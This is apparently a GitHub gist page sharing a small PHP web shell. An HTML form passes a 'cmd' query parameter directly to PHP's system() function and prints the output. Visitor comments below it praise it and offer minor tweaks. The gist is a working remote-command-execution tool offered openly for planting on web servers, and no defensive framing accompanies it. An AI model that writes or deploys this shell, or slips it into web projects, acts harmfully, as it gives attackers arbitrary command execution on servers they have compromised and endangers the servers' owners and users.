Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
@larsonreever

This comment has been minimized.

Copy link

@larsonreever larsonreever commented Nov 26, 2018

However, there are a number of potential entry points, from coding error in the web application to configuration issues in either the web server or PHP, and you need only one single exploitable vulnerability to be successful. once can have a good overview on web shells with examples here https://secure.wphackedhelp.com/blog/web-shell-php-exploit/

@Sh1n0g1

This comment has been minimized.

Copy link

@Sh1n0g1 Sh1n0g1 commented Jul 15, 2019

It's better to have the isset function before accessing the global variable $_GET['cmd']
like this if(isset($_GET['cmd']))

@joswr1ght

This comment has been minimized.

Copy link
Owner Author

@joswr1ght joswr1ght commented Jul 15, 2019

It's better to have the isset function before accessing the global variable $_GET['cmd']
like this if(isset($_GET['cmd']))

👍Thanks!

@fractalspace

This comment has been minimized.

Copy link

@fractalspace fractalspace commented May 15, 2020

Nice and simple

@sahiljack

This comment has been minimized.

Copy link

@sahiljack sahiljack commented Sep 10, 2020

That's actually helpful. Thanks

@FrederickDoering

This comment has been minimized.

Copy link

@FrederickDoering FrederickDoering commented Mar 22, 2021

You can use the autofocus attribute to avoid the script and then it'll still autofocus in browsers with scripts blocked.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment